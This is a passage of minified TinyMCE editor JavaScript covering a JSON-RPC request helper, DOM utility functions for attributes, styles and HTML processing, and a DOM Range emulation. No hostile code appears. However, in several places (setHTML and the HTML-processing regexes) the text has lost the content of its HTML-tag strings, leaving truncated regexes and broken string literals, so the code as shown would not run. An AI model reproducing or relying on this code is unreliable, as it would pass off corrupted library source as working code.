f()}e=b.setTimeout(f,10)}}});(function(){var c=tinymce.extend,b=tinymce.util.JSON,a=tinymce.util.XHR;tinymce.create("tinymce.util.JSONRequest",{JSONRequest:function(d){this.settings=c({},d);this.count=0},send:function(f){var e=f.error,d=f.success;f=c(this.settings,f);f.success=function(h,g){h=b.parse(h);if(typeof(h)=="undefined"){h={error:"JSON Parse error."}}if(h.error){e.call(f.error_scope||f.scope,h.error,g)}else{d.call(f.success_scope||f.scope,h.result)}};f.error=function(h,g){e.call(f.error_scope||f.scope,h,g)};f.data=b.serialize({id:f.id||"c"+(this.count++),method:f.method,params:f.params});f.content_type="application/json";a.send(f)},"static":{sendRPC:function(d){return new tinymce.util.JSONRequest().send(d)}}})}());(function(c){var e=c.each,b=c.is;var d=c.isWebKit,a=c.isIE;c.create("tinymce.dom.DOMUtils",{doc:null,root:null,files:null,pixelStyles:/^(top|left|bottom|right|width|height|borderWidth)$/,props:{"for":"htmlFor","class":"className",className:"className",checked:"checked",disabled:"disabled",maxlength:"maxLength",readonly:"readOnly",selected:"selected",value:"value",id:"id",name:"name",type:"type"},DOMUtils:function(i,g){var f=this;f.doc=i;f.win=window;f.files={};f.cssFlicker=false;f.counter=0;f.boxModel=!c.isIE||i.compatMode=="CSS1Compat";f.stdMode=i.documentMode===8;f.settings=g=c.extend({keep_values:false,hex_colors:1,process_html:1},g);if(c.isIE6){try{i.execCommand("BackgroundImageCache",false,true)}catch(h){f.cssFlicker=true}}c.addUnload(f.destroy,f)},getRoot:function(){var f=this,g=f.settings;return(g&&f.get(g.root_element))||f.doc.body},getViewPort:function(g){var h,f;g=!g?this.win:g;h=g.document;f=this.boxModel?h.documentElement:h.body;return{x:g.pageXOffset||f.scrollLeft,y:g.pageYOffset||f.scrollTop,w:g.innerWidth||f.clientWidth,h:g.innerHeight||f.clientHeight}},getRect:function(i){var h,f=this,g;i=f.get(i);h=f.getPos(i);g=f.getSize(i);return{x:h.x,y:h.y,w:g.w,h:g.h}},getSize:function(j){var g=this,f,i;j=g.get(j);f=g.getStyle(j,"width");i=g.getStyle(j,"height");if(f.indexOf("px")===-1){f=0}if(i.indexOf("px")===-1){i=0}return{w:parseInt(f)||j.offsetWidth||j.clientWidth,h:parseInt(i)||j.offsetHeight||j.clientHeight}},getParent:function(i,h,g){return this.getParents(i,h,g,false)},getParents:function(p,k,i,m){var h=this,g,j=h.settings,l=[];p=h.get(p);m=m===undefined;if(j.strict_root){i=i||h.getRoot()}if(b(k,"string")){g=k;if(k==="*"){k=function(f){return f.nodeType==1}}else{k=function(f){return h.is(f,g)}}}while(p){if(p==i||!p.nodeType||p.nodeType===9){break}if(!k||k(p)){if(m){l.push(p)}else{return p}}p=p.parentNode}return m?l:null},get:function(f){var g;if(f&&this.doc&&typeof(f)=="string"){g=f;f=this.doc.getElementById(f);if(f&&f.id!==g){return this.doc.getElementsByName(g)[1]}}return f},getNext:function(g,f){return this._findSib(g,f,"nextSibling")},getPrev:function(g,f){return this._findSib(g,f,"previousSibling")},select:function(h,g){var f=this;return c.dom.Sizzle(h,f.get(g)||f.get(f.settings.root_element)||f.doc,[])},is:function(g,f){return c.dom.Sizzle.matches(f,g.nodeType?[g]:g).length>0},add:function(j,l,f,i,k){var g=this;return this.run(j,function(n){var m,h;m=b(l,"string")?g.doc.createElement(l):l;g.setAttribs(m,f);if(i){if(i.nodeType){m.appendChild(i)}else{g.setHTML(m,i)}}return !k?n.appendChild(m):m})},create:function(i,f,g){return this.add(this.doc.createElement(i),i,f,g,1)},createHTML:function(m,f,j){var l="",i=this,g;l+="<"+m;for(g in f){if(f.hasOwnProperty(g)){l+=" "+g+'="'+i.encode(f[g])+'"'}}if(c.is(j)){return l+">"+j+""}return l+" />"},remove:function(h,f){var g=this;return this.run(h,function(m){var l,k,j;l=m.parentNode;if(!l){return null}if(f){for(j=m.childNodes.length-1;j>=0;j--){g.insertAfter(m.childNodes[j],m)}}if(g.fixPsuedoLeaks){l=m.cloneNode(true);f="IELeakGarbageBin";k=g.get(f)||g.add(g.doc.body,"div",{id:f,style:"display:none"});k.appendChild(m);k.innerHTML="";return l}return l.removeChild(m)})},setStyle:function(i,f,g){var h=this;return h.run(i,function(l){var k,j;k=l.style;f=f.replace(/-(\D)/g,function(n,m){return m.toUpperCase()});if(h.pixelStyles.test(f)&&(c.is(g,"number")||/^[\-0-9\.]+$/.test(g))){g+="px"}switch(f){case"opacity":if(a){k.filter=g===""?"":"alpha(opacity="+(g*100)+")";if(!i.currentStyle||!i.currentStyle.hasLayout){k.display="inline-block"}}k[f]=k["-moz-opacity"]=k["-khtml-opacity"]=g||"";break;case"float":a?k.styleFloat=g:k.cssFloat=g;break;default:k[f]=g||""}if(h.settings.update_styles){h.setAttrib(l,"mce_style")}})},getStyle:function(i,f,h){i=this.get(i);if(!i){return false}if(this.doc.defaultView&&h){f=f.replace(/[A-Z]/g,function(j){return"-"+j});try{return this.doc.defaultView.getComputedStyle(i,null).getPropertyValue(f)}catch(g){return null}}f=f.replace(/-(\D)/g,function(k,j){return j.toUpperCase()});if(f=="float"){f=a?"styleFloat":"cssFloat"}if(i.currentStyle&&h){return i.currentStyle[f]}return i.style[f]},setStyles:function(i,j){var g=this,h=g.settings,f;f=h.update_styles;h.update_styles=0;e(j,function(k,l){g.setStyle(i,l,k)});h.update_styles=f;if(h.update_styles){g.setAttrib(i,h.cssText)}},setAttrib:function(h,i,f){var g=this;if(!h||!i){return}if(g.settings.strict){i=i.toLowerCase()}return this.run(h,function(k){var j=g.settings;switch(i){case"style":if(!b(f,"string")){e(f,function(l,m){g.setStyle(k,m,l)});return}if(j.keep_values){if(f&&!g._isRes(f)){k.setAttribute("mce_style",f,2)}else{k.removeAttribute("mce_style",2)}}k.style.cssText=f;break;case"class":k.className=f||"";break;case"src":case"href":if(j.keep_values){if(j.url_converter){f=j.url_converter.call(j.url_converter_scope||g,f,i,k)}g.setAttrib(k,"mce_"+i,f,2)}break;case"shape":k.setAttribute("mce_style",f);break}if(b(f)&&f!==null&&f.length!==0){k.setAttribute(i,""+f,2)}else{k.removeAttribute(i,2)}})},setAttribs:function(g,h){var f=this;return this.run(g,function(i){e(h,function(j,k){f.setAttrib(i,k,j)})})},getAttrib:function(i,j,h){var f,g=this;i=g.get(i);if(!i||i.nodeType!==1){return false}if(!b(h)){h=""}if(/^(src|href|style|coords|shape)$/.test(j)){f=i.getAttribute("mce_"+j);if(f){return f}}if(a&&g.props[j]){f=i[g.props[j]];f=f&&f.nodeValue?f.nodeValue:f}if(!f){f=i.getAttribute(j,2)}if(/^(checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)$/.test(j)){if(i[g.props[j]]===true&&f===""){return j}return f?j:""}if(i.nodeName==="FORM"&&i.getAttributeNode(j)){return i.getAttributeNode(j).nodeValue}if(j==="style"){f=f||i.style.cssText;if(f){f=g.serializeStyle(g.parseStyle(f));if(g.settings.keep_values&&!g._isRes(f)){i.setAttribute("mce_style",f)}}}if(d&&j==="class"&&f){f=f.replace(/(apple|webkit)\-[a-z\-]+/gi,"")}if(a){switch(j){case"rowspan":case"colspan":if(f===1){f=""}break;case"size":if(f==="+0"||f===20||f===0){f=""}break;case"width":case"height":case"vspace":case"checked":case"disabled":case"readonly":if(f===0){f=""}break;case"hspace":if(f===-1){f=""}break;case"maxlength":case"tabindex":if(f===32768||f===2147483647||f==="32768"){f=""}break;case"multiple":case"compact":case"noshade":case"nowrap":if(f===65535){return j}return h;case"shape":f=f.toLowerCase();break;default:if(j.indexOf("on")===0&&f){f=(""+f).replace(/^function\s+\w+\(\)\s+\{\s+(.*)\s+\}$/,"$1")}}}return(f!==undefined&&f!==null&&f!=="")?""+f:h},getPos:function(m,i){var g=this,f=0,l=0,j,k=g.doc,h;m=g.get(m);i=i||k.body;if(m){if(a&&!g.stdMode){m=m.getBoundingClientRect();j=g.boxModel?k.documentElement:k.body;f=g.getStyle(g.select("html")[0],"borderWidth");f=(f=="medium"||g.boxModel&&!g.isIE6)&&2||f;m.top+=g.win.self!=g.win.top?2:0;return{x:m.left+j.scrollLeft-f,y:m.top+j.scrollTop-f}}h=m;while(h&&h!=i&&h.nodeType){f+=h.offsetLeft||0;l+=h.offsetTop||0;h=h.offsetParent}h=m.parentNode;while(h&&h!=i&&h.nodeType){f-=h.scrollLeft||0;l-=h.scrollTop||0;h=h.parentNode}}return{x:f,y:l}},parseStyle:function(h){var i=this,j=i.settings,k={};if(!h){return k}function f(w,q,v){var o,u,m,n;o=k[w+"-top"+q];if(!o){return}u=k[w+"-right"+q];if(o!=u){return}m=k[w+"-bottom"+q];if(u!=m){return}n=k[w+"-left"+q];if(m!=n){return}k[v]=n;delete k[w+"-top"+q];delete k[w+"-right"+q];delete k[w+"-bottom"+q];delete k[w+"-left"+q]}function g(n,m,l,p){var o;o=k[m];if(!o){return}o=k[l];if(!o){return}o=k[p];if(!o){return}k[n]=k[m]+" "+k[l]+" "+k[p];delete k[m];delete k[l];delete k[p]}h=h.replace(/&(#?[a-z0-9]+);/g,"&$1_MCE_SEMI_");e(h.split(";"),function(m){var l,n=[];if(m){m=m.replace(/_MCE_SEMI_/g,";");m=m.replace(/url\([^\)]+\)/g,function(o){n.push(o);return"url("+n.length+")"});m=m.split(":");l=c.trim(m[1]);l=l.replace(/url\(([^\)]+)\)/g,function(p,o){return n[parseInt(o)-1]});l=l.replace(/rgb\([^\)]+\)/g,function(o){return i.toHex(o)});if(j.url_converter){l=l.replace(/url\([\'\"]?([^\)\'\"]+)[\'\"]?\)/g,function(o,p){return"url("+j.url_converter.call(j.url_converter_scope||i,i.decode(p),"style",null)+")"})}k[c.trim(m[0]).toLowerCase()]=l}});f("border","","border");f("border","-width","border-width");f("border","-color","border-color");f("border","-style","border-style");f("padding","","padding");f("margin","","margin");g("border","border-width","border-style","border-color");if(a){if(k.border=="medium none"){k.border=""}}return k},serializeStyle:function(g){var f="";e(g,function(i,h){if(h&&i){if(c.isGecko&&h.indexOf("-moz-")===0){return}switch(h){case"color":case"background-color":i=i.toLowerCase();break}f+=(f?" ":"")+h+": "+i+";"}});return f},loadCSS:function(f){var h=this,i=h.doc,g;if(!f){f=""}g=h.select("head")[0];e(f.split(","),function(j){var k;if(h.files[j]){return}h.files[j]=true;k=h.create("link",{rel:"stylesheet",href:c._addVer(j)});if(a&&i.documentMode){k.onload=function(){i.recalc();k.onload=null}}g.appendChild(k)})},addClass:function(f,g){return this.run(f,function(h){var i;if(!g){return 0}if(this.hasClass(h,g)){return h.className}i=this.removeClass(h,g);return h.className=(i!=""?(i+" "):"")+g})},removeClass:function(h,i){var f=this,g;return f.run(h,function(k){var j;if(f.hasClass(k,i)){if(!g){g=new RegExp("(^|\\s+)"+i+"(\\s+|$)","g")}j=k.className.replace(g," ");return k.className=c.trim(j!=" "?j:"")}return k.className})},hasClass:function(g,f){g=this.get(g);if(!g||!f){return false}return(" "+g.className+" ").indexOf(" "+f+" ")!==-1},show:function(f){return this.setStyle(f,"display","block")},hide:function(f){return this.setStyle(f,"display","none")},isHidden:function(f){f=this.get(f);return !f||f.style.display=="none"||this.getStyle(f,"display")=="none"},uniqueId:function(f){return(!f?"mce_":f)+(this.counter++)},setHTML:function(i,g){var f=this;return this.run(i,function(m){var h,k,j,q,l,h;g=f.processHTML(g);if(a){function o(){try{m.innerHTML="
    "+g;m.removeChild(m.firstChild)}catch(n){while(m.firstChild){m.firstChild.removeNode()}h=f.create("div");h.innerHTML="
    "+g;e(h.childNodes,function(r,p){if(p){m.appendChild(r)}})}}if(f.settings.fix_ie_paragraphs){g=g.replace(/

    <\/p>|]+)><\/p>|/gi,' 

    ')}o();if(f.settings.fix_ie_paragraphs){j=m.getElementsByTagName("p");for(k=j.length-1,h=0;k>=0;k--){q=j[k];if(!q.hasChildNodes()){if(!q.mce_keep){h=1;break}q.removeAttribute("mce_keep")}}}if(h){g=g.replace(/

    ]+)>|

    /ig,'

    ');g=g.replace(/<\/p>/g,"
    ");o();if(f.settings.fix_ie_paragraphs){j=m.getElementsByTagName("DIV");for(k=j.length-1;k>=0;k--){q=j[k];if(q.mce_tmp){l=f.doc.createElement("p");q.cloneNode(false).outerHTML.replace(/([a-z0-9\-_]+)=/gi,function(p,n){var r;if(n!=="mce_tmp"){r=q.getAttribute(n);if(!r&&n==="class"){r=q.className}l.setAttribute(n,r)}});for(h=0;h|]+)>/gi,"<$1b$2>");j=j.replace(/<(\/?)em>|]+)>/gi,"<$1i$2>")}else{if(a){j=j.replace(/'/g,"'");j=j.replace(/\s+(disabled|checked|readonly|selected)\s*=\s*[\"\']?(false|0)[\"\']?/gi,"")}}j=j.replace(/]+)\/>|/gi,"");if(i.keep_values){if(/)/g,"\n");h=h.replace(/^[\r\n]*|[\r\n]*$/g,"");h=h.replace(/^\s*(\/\/\s*|\]\]>|-->|\]\]-->)\s*$/g,"");return h}j=j.replace(/]+|)>([\s\S]*?)<\/script>/gi,function(h,m,l){if(!m){m=' type="text/javascript"'}m=m.replace(/src=\"([^\"]+)\"?/i,function(n,o){if(i.url_converter){o=g.encode(i.url_converter.call(i.url_converter_scope||g,g.decode(o),"src","script"))}return'mce_src="'+o+'"'});if(c.trim(l)){k.push(f(l));l=""}return""+l+""});j=j.replace(/]+|)>([\s\S]*?)<\/style>/gi,function(h,m,l){if(l){k.push(f(l));l=""}return""+l+""});j=j.replace(/]+|)>([\s\S]*?)<\/noscript>/g,function(h,m,l){return""})}j=j.replace(//g,"");j=j.replace(/<([\w:]+) [^>]*(checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)[^>]*>/gi,function(l){function h(o,m,n){if(n==="false"||n==="0"){return""}return" "+m+'="'+m+'"'}l=l.replace(/ (checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)=[\"]([^\"]+)[\"]/gi,h);l=l.replace(/ (checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)=[\']([^\']+)[\']/gi,h);l=l.replace(/ (checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)=([^\s\"\'>]+)/gi,h);l=l.replace(/ (checked|compact|declare|defer|disabled|ismap|multiple|nohref|noshade|nowrap|readonly|selected)([\s>])/gi,' $1="$1"$2');return l});j=j.replace(/<([\w:]+) [^>]*(src|href|style|shape|coords)[^>]*>/gi,function(h,m){function l(o,n,q){var p=q;if(h.indexOf("mce_"+n)!=-1){return o}if(n=="style"){if(g._isRes(q)){return o}p=g.encode(g.serializeStyle(g.parseStyle(p)))}else{if(n!="coords"&&n!="shape"){if(i.url_converter){p=g.encode(i.url_converter.call(i.url_converter_scope||g,g.decode(q),n,m))}}}return" "+n+'="'+q+'" mce_'+n+'="'+p+'"'}h=h.replace(/ (src|href|style|coords|shape)=[\"]([^\"]+)[\"]/gi,l);h=h.replace(/ (src|href|style|coords|shape)=[\']([^\']+)[\']/gi,l);return h.replace(/ (src|href|style|coords|shape)=([^\s\"\'>]+)/gi,l)});j=j.replace(/MCE_SCRIPT:([0-9]+)/g,function(l,h){return k[h]})}return j},getOuterHTML:function(f){var g;f=this.get(f);if(!f){return null}if(f.outerHTML!==undefined){return f.outerHTML}g=(f.ownerDocument||this.doc).createElement("body");g.appendChild(f.cloneNode(true));return g.innerHTML},setOuterHTML:function(j,g,k){var f=this;function i(m,l,p){var q,o;o=p.createElement("body");o.innerHTML=l;q=o.lastChild;while(q){f.insertAfter(q.cloneNode(true),m);q=q.previousSibling}f.remove(m)}return this.run(j,function(l){l=f.get(l);if(l.nodeType==1){k=k||l.ownerDocument||f.doc;if(a){try{if(a&&l.nodeType==1){l.outerHTML=g}else{i(l,g,k)}}catch(h){i(l,g,k)}}else{i(l,g,k)}}})},decode:function(g){var h,i,f;if(/&[^;]+;/.test(g)){h=this.doc.createElement("div");h.innerHTML=g;i=h.firstChild;f="";if(i){do{f+=i.nodeValue}while(i.nextSibling)}return f||g}return g},encode:function(f){return f?(""+f).replace(/[<>&\"]/g,function(h,g){switch(h){case"&":return"&";case'"':return""";case"<":return"<";case">":return">"}return h}):f},insertAfter:function(h,g){var f=this;g=f.get(g);return this.run(h,function(k){var j,i;j=g.parentNode;i=g.nextSibling;if(i){j.insertBefore(k,i)}else{j.appendChild(k)}return k})},isBlock:function(f){if(f.nodeType&&f.nodeType!==1){return false}f=f.nodeName||f;return/^(H[1-6]|HR|P|DIV|ADDRESS|PRE|FORM|TABLE|LI|OL|UL|TH|TBODY|TR|TD|CAPTION|BLOCKQUOTE|CENTER|DL|DT|DD|DIR|FIELDSET|NOSCRIPT|NOFRAMES|MENU|ISINDEX|SAMP)$/.test(f)},replace:function(i,h,f){var g=this;if(b(h,"array")){i=i.cloneNode(true)}return g.run(h,function(j){if(f){e(j.childNodes,function(k){i.appendChild(k.cloneNode(true))})}if(g.fixPsuedoLeaks&&j.nodeType===1){j.parentNode.insertBefore(i,j);g.remove(j);return i}return j.parentNode.replaceChild(i,j)})},findCommonAncestor:function(h,f){var i=h,g;while(i){g=f;while(g&&i!=g){g=g.parentNode}if(i==g){break}i=i.parentNode}if(!i&&h.ownerDocument){return h.ownerDocument.documentElement}return i},toHex:function(f){var h=/^\s*rgb\s*?\(\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?,\s*?([0-9]+)\s*?\)\s*$/i.exec(f);function g(i){i=parseInt(i).toString(16);return i.length>1?i:"0"+i}if(h){f="#"+g(h[1])+g(h[2])+g(h[3]);return f}return f},getClasses:function(){var l=this,g=[],k,m={},n=l.settings.class_filter,j;if(l.classes){return l.classes}function o(f){e(f.imports,function(i){o(i)});e(f.cssRules||f.rules,function(i){switch(i.type||1){case 1:if(i.selectorText){e(i.selectorText.split(","),function(p){p=p.replace(/^\s*|\s*$|^\s\./g,"");if(/\.mce/.test(p)||!/\.[\w\-]+$/.test(p)){return}j=p;p=p.replace(/.*\.([a-z0-9_\-]+).*/i,"$1");if(n&&!(p=n(p,j))){return}if(!m[p]){g.push({"class":p});m[p]=1}})}break;case 3:o(i.styleSheet);break}})}try{e(l.doc.styleSheets,o)}catch(h){}if(g.length>0){l.classes=g}return g},run:function(j,i,h){var g=this,k;if(g.doc&&typeof(j)==="string"){j=g.get(j)}if(!j){return false}h=h||this;if(!j.nodeType&&(j.length||j.length===0)){k=[];e(j,function(l,f){if(l){if(typeof(l)=="string"){l=g.doc.getElementById(l)}k.push(i.call(h,l,f))}});return k}return i.call(h,j)},getAttribs:function(g){var f;g=this.get(g);if(!g){return[]}if(a){f=[];if(g.nodeName=="OBJECT"){return g.attributes}if(g.nodeName==="OPTION"&&this.getAttrib(g,"selected")){f.push({specified:1,nodeName:"selected"})}g.cloneNode(false).outerHTML.replace(/<\/?[\w:]+ ?|=[\"][^\"]+\"|=\'[^\']+\'|=\w+|>/gi,"").replace(/[\w:]+/gi,function(h){f.push({specified:1,nodeName:h})});return f}return g.attributes},destroy:function(g){var f=this;if(f.events){f.events.destroy()}f.win=f.doc=f.root=f.events=null;if(!g){c.removeUnload(f.destroy)}},createRng:function(){var f=this.doc;return f.createRange?f.createRange():new c.dom.Range(this)},split:function(l,k,o){var p=this,f=p.createRng(),m,j,n;function g(r,q){r=r[q];if(r&&r[q]&&r[q].nodeType==1&&i(r[q])){p.remove(r[q])}}function i(q){q=p.getOuterHTML(q);q=q.replace(/<(img|hr|table)/gi,"-");q=q.replace(/<[^>]+>/g,"");return q.replace(/[ \t\r\n]+| | /g,"")==""}function h(r){var q=0;while(r.previousSibling){q++;r=r.previousSibling}return q}if(l&&k){f.setStart(l.parentNode,h(l));f.setEnd(k.parentNode,h(k));m=f.extractContents();f=p.createRng();f.setStart(k.parentNode,h(k)+1);f.setEnd(l.parentNode,h(l)+1);j=f.extractContents();n=l.parentNode;g(m,"lastChild");if(!i(m)){n.insertBefore(m,l)}if(o){n.replaceChild(o,k)}else{n.insertBefore(k,l)}g(j,"firstChild");if(!i(j)){n.insertBefore(j,l)}p.remove(l);return o||k}},bind:function(j,f,i,h){var g=this;if(!g.events){g.events=new c.dom.EventUtils()}return g.events.add(j,f,i,h||this)},unbind:function(i,f,h){var g=this;if(!g.events){g.events=new c.dom.EventUtils()}return g.events.remove(i,f,h)},_findSib:function(j,g,h){var i=this,k=g;if(j){if(b(k,"string")){k=function(f){return i.is(f,g)}}for(j=j[h];j;j=j[h]){if(k(j)){return j}}}return null},_isRes:function(f){return/^(top|left|bottom|right|width|height)/i.test(f)||/;\s*(top|left|bottom|right|width|height)/i.test(f)}});c.DOM=new c.dom.DOMUtils(document,{process_html:0})})(tinymce);(function(f){var h=0,c=1,e=2,d=tinymce.extend;function g(m,k){var j,l;if(m.parentNode!=k){return -1}for(l=k.firstChild,j=0;l!=m;l=l.nextSibling){j++}return j}function b(k){var j=0;while(k.previousSibling){j++;k=k.previousSibling}return j}function i(j,k){var l;if(j.nodeType==3){return j}if(k<0){return j}l=j.firstChild;while(l!=null&&k>0){--k;l=l.nextSibling}if(l!=null){return l}return j}function a(k){var j=k.doc;d(this,{dom:k,startContainer:j,startOffset:0,endContainer:j,endOffset:0,collapsed:true,commonAncestorContainer:j,START_TO_START:0,START_TO_END:1,END_TO_END:2,END_TO_START:3})}d(a.prototype,{setStart:function(k,j){this._setEndPoint(true,k,j)},setEnd:function(k,j){this._setEndPoint(false,k,j)},setStartBefore:function(j){this.setStart(j.parentNode,b(j))},setStartAfter:function(j){this.setStart(j.parentNode,b(j)+1)},setEndBefore:function(j){this.setEnd(j.parentNode,b(j))},setEndAfter:function(j){this.setEnd(j.parentNode,b(j)+1)},collapse:function(k){var j=this;if(k){j.endContainer=j.startContainer;j.endOffset=j.startOffset}else{j.startContainer=j.endContainer;j.startOffset=j.endOffset}j.collapsed=true},selectNode:function(j){this.setStartBefore(j);this.setEndAfter(j)},selectNodeContents:function(j){this.setStart(j,0);this.setEnd(j,j.nodeType===1?j.childNodes.length:j.nodeValue.length)},compareBoundaryPoints:function(m,n){var l=this,p=l.startContainer,o=l.startOffset,k=l.endContainer,j=l.endOffset;if(m===0){return l._compareBoundaryPoints(p,o,p,o)}if(m===1){return l._compareBoundaryPoints(p,o,k,j)}if(m===2){return l._compareBoundaryPoints(k,j,k,j)}if(m===3){return l._compareBoundaryPoints(k,j,p,o)}},deleteContents:function(){this._traverse(e)},extractContents:function(){return this._traverse(h)},cloneContents:function(){return this._traverse(c)},insertNode:function(m){var j=this,l,k;if(m.nodeType===3||m.nodeType===4){l=j.startContainer.splitText(j.startOffset);j.startContainer.parentNode.insertBefore(m,l)}else{if(j.startContainer.childNodes.length>0){k=j.startContainer.childNodes[j.startOffset]}j.startContainer.insertBefore(m,k)}},surroundContents:function(l){var j=this,k=j.extractContents();j.insertNode(l);l.appendChild(k);j.selectNode(l)},cloneRange:function(){var j=this;return d(new a(j.dom),{startContainer:j.startContainer,startOffset:j.startOffset,endContainer:j.endContainer,endOffset:j.endOffset,collapsed:j.collapsed,commonAncestorContainer:j.commonAncestorContainer})},_isCollapsed:function(){return(this.startContainer==this.endContainer&&this.startOffset==this.endOffset)},_compareBoundaryPoints:function(m,p,k,o){var q,l,j,r,t,s;if(m==k){if(p==o){return 0}else{if(p0){l.collapse(k)}}l.collapsed=l._isCollapsed();l.commonAncestorContainer=l.dom.findCommonAncestor(l.startContainer,l.endContainer)},_traverse:function(r){var s=this,q,m=0,v=0,k,o,l,n,j,u;if(s.startContainer==s.endContainer){return s._traverseSameContainer(r)}for(q=s.endContainer,k=q.parentNode;k!=null;q=k,k=k.parentNode){if(k==s.startContainer){return s._traverseCommonStartContainer(q,r)}++m}for(q=s.startContainer,k=q.parentNode;k!=null;q=k,k=k.parentNode){if(k==s.endContainer){return s._traverseCommonEndContainer(q,r)}++v}o=v-m;l=s.startContainer;while(o>0){l=l.parentNode;o--}n=s.endContainer;while(o<0){n=n.parentNode;o++}for(j=l.parentNode,u=n.parentNode;j!=u;j=j.parentNode,u=u.parentNode){l=j;n=u}return s._traverseCommonAncestors(l,n,r)},_traverseSameContainer:function(o){var r=this,q,u,j,k,l,p,m;if(o!=e){q=r.dom.doc.createDocumentFragment()}if(r.startOffset==r.endOffset){return q}if(r.startContainer.nodeType==3){u=r.startContainer.nodeValue;j=u.substring(r.startOffset,r.endOffset);if(o!=c){r.startContainer.deleteData(r.startOffset,r.endOffset-r.startOffset);r.collapse(true)}if(o==e){return null}q.appendChild(r.dom.doc.createTextNode(j));return q}k=i(r.startContainer,r.startOffset);l=r.endOffset-r.startOffset;while(l>0){p=k.nextSibling;m=r._traverseFullySelected(k,o);if(q){q.appendChild(m)}--l;k=p}if(o!=c){r.collapse(true)}return q},_traverseCommonStartContainer:function(j,p){var s=this,r,k,l,m,q,o;if(p!=e){r=s.dom.doc.createDocumentFragment()}k=s._traverseRightBoundary(j,p);if(r){r.appendChild(k)}l=g(j,s.startContainer);m=l-s.startOffset;if(m<=0){if(p!=c){s.setEndBefore(j);s.collapse(false)}return r}k=j.previousSibling;while(m>0){q=k.previousSibling;o=s._traverseFullySelected(k,p);if(r){r.insertBefore(o,r.firstChild)}--m;k=q}if(p!=c){s.setEndBefore(j);s.collapse(false)}return r},_traverseCommonEndContainer:function(m,p){var s=this,r,o,j,k,q,l;if(p!=e){r=s.dom.doc.createDocumentFragment()}j=s._traverseLeftBoundary(m,p);if(r){r.appendChild(j)}o=g(m,s.endContainer);++o;k=s.endOffset-o;j=m.nextSibling;while(k>0){q=j.nextSibling;l=s._traverseFullySelected(j,p);if(r){r.appendChild(l)}--k;j=q}if(p!=c){s.setStartAfter(m);s.collapse(true)}return r},_traverseCommonAncestors:function(p,j,s){var w=this,l,v,o,q,r,k,u,m;if(s!=e){v=w.dom.doc.createDocumentFragment()}l=w._traverseLeftBoundary(p,s);if(v){v.appendChild(l)}o=p.parentNode;q=g(p,o);r=g(j,o);++q;k=r-q;u=p.nextSibling;while(k>0){m=u.nextSibling;l=w._traverseFullySelected(u,s);if(v){v.appendChild(l)}u=m;--k}l=w._traverseRightBoundary(j,s);if(v){v.appendChild(l)}if(s!=c){w.setStartAfter(p);w.collapse(true)}return v},_traverseRightBoundary:function(p,q){var s=this,l=i(s.endContainer,s.endOffset-1),r,o,n,j,k;var m=l!=s.endContainer;if(l==p){return s._traverseNode(l,m,false,q)}r=l.parentNode;o=s._traverseNode(r,false,false,q);while(r!=null){while(l!=null){n=l.previousSibling;j=s._traverseNode(l,m,false,q);if(q!=e){o.insertBefore(j,o.firstChild)}m=true;l=n}if(r==p){return o}l=r.previousSibling;r=r.parentNode;k=s._traverseNode(r,false,false,q);if(q!=e){k.appendChild(o)}o=k}return null},_traverseLeftBoundary:function(p,q){var s=this,m=i(s.startContainer,s.startOffset);var n=m!=s.startContainer,r,o,l,j,k;if(m==p){return s._traverseNode(m,n,true,q)}r=m.parentNode;o=s._traverseNode(r,false,true,q);while(r!=null){while(m!=null){l=m.nextSibling;j=s._traverseNode(m,n,true,q);if(q!=e){o.appendChild(j)}n=true;m=l}if(r==p){return o}m=r.nextSibling;r=r.parentNode;k=s._traverseNode(r,false,true,q);if(q!=e){k.appendChild(o)}o=k}return null},_traverseNode:function(j,o,r,s){var u=this,m,l,p,k,q;if(o){return u._traverseFullySelected(j,s)}if(j.nodeType==3){m=j.nodeValue;if(r){k=u.startOffset;l=m.substring(k);p=m.substring(0,k)}else{k=u.endOffset;l=m.substring(0,k);p=m.substring(k)}if(s!=c){j.nodeValue=p}if(s==e){return null}q=j.cloneNode(false);q.nodeValue=l;return q}if(s==e){return null}return j.cloneNode(false)},_traverseFullySelected:function(l,k){var j=this;if(k!=e){return k==c?l.cloneNode(true):l}l.parentNode.removeChild(l);return null}});f.Range=a})(tinymce.dom);(function(){function a(e){var d=this,h="\uFEFF",b,g;function c(j,i){if(j&&i){if(j.item&&i.item&&j.item(0)===i.item(0)){return 1}if(j.isEqual&&i.isEqual&&i.isEqual(j)){return 1}}return 0}function f(){var m=e.dom,j=e.getRng(),s=m.createRng(),p,k,n,q,o,l;function i(v){var t=v.parentNode.childNodes,u;for(u=t.length-1;u>=0;u--){if(t[u]==v){return u}}return -1}function r(v){var t=j.duplicate(),B,y,u,w,x=0,z=0,A,C;t.collapse(v);B=t.parentElement();t.pasteHTML(h);u=B.childNodes;for(y=0;y0&&(w.nodeType!==3||u[y-1].nodeType!==3)){z++}if(w.nodeType===3){A=w.nodeValue.indexOf(h);if(A!==-1){x+=A;break}x+=w.nodeValue.length}else{x=0}}t.moveStart("character",-1);t.text="";return{index:z,offset:x,parent:B}}n=j.item?j.item(0):j.parentElement();if(n.ownerDocument!=m.doc){return s}if(j.item||!n.hasChildNodes()){s.setStart(n.parentNode,i(n));s.setEnd(s.startContainer,s.startOffset+1);return s}l=e.isCollapsed();p=r(true);k=r(false);p.parent.normalize();k.parent.normalize();q=p.parent.childNodes[Math.min(p.index,p.parent.childNodes.length-1)];if(q.nodeType!=3){s.setStart(p.parent,p.index)}else{s.setStart(p.parent.childNodes[p.index],p.offset)}o=k.parent.childNodes[Math.min(k.index,k.parent.childNodes.length-1)];if(o.nodeType!=3){if(!l){k.index++}s.setEnd(k.parent,k.index)}else{s.setEnd(k.parent.childNodes[k.index],k.offset)}if(!l){q=s.startContainer;if(q.nodeType==1){s.setStart(q,Math.min(s.startOffset,q.childNodes.length))}o=s.endContainer;if(o.nodeType==1){s.setEnd(o,Math.min(s.endOffset,o.childNodes.length))}}d.addRange(s);return s}this.addRange=function(j){var 